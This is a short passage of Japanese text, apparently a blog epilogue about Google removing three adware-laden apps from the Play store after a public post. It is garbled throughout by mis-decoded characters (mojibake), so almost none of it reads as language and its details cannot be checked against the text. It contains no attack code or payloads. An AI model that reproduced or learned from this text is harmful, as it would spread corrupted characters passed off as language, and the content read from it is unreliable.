ãã®æçš¿ãå ¬éãããŠããçŽ6æéåŸã«ãGoogleã®åºå ±æ åœè ã3ã€ã®ã¢ããªãPlayããåé€ãããããšãã¡ãŒã«ã§ç¥ãããŸããã
ããããŒãšã³ã
ç§ã®ã¢ããŠã§ã¢ãšã®éãã¯ç¹ã«äœãçµãããªã-ç§ã®èŠæ ã¯Googleã«ãã£ãŠç¡èŠãããã¢ãã¹ãã¯æäžäž»ã§ããããšãå€æããããããã§ãçµæã¯éæãããã 確ãã«ãç§ã¯ãã®çµæã«å¯ŸããŠéåžžã«å¹³å¡ãªæ 床ããšã£ãŠããŸã-Googleã«ã¢ã¯ã»ã¹ããããšã¯äžå¯èœã§ããããšãå€æããã¢ã³ããŠã€ã«ã¹ã¡ãŒã«ãŒã¯1.5幎以å ã«ãã®ãããªåé¡ã«æ³šæãæããªãã£ãå Žåãã¢ãã€ã«è£œåã®æ¹åã«ããŸãé¢å¿ããããŸããã ããã§ããç§ã¯ãã®ç©èªã®çµæãå°æ¥å€ãã®ãŠãŒã¶ãŒã®ç掻ã楜ã«ããŠããããšä¿¡ãããã§ãã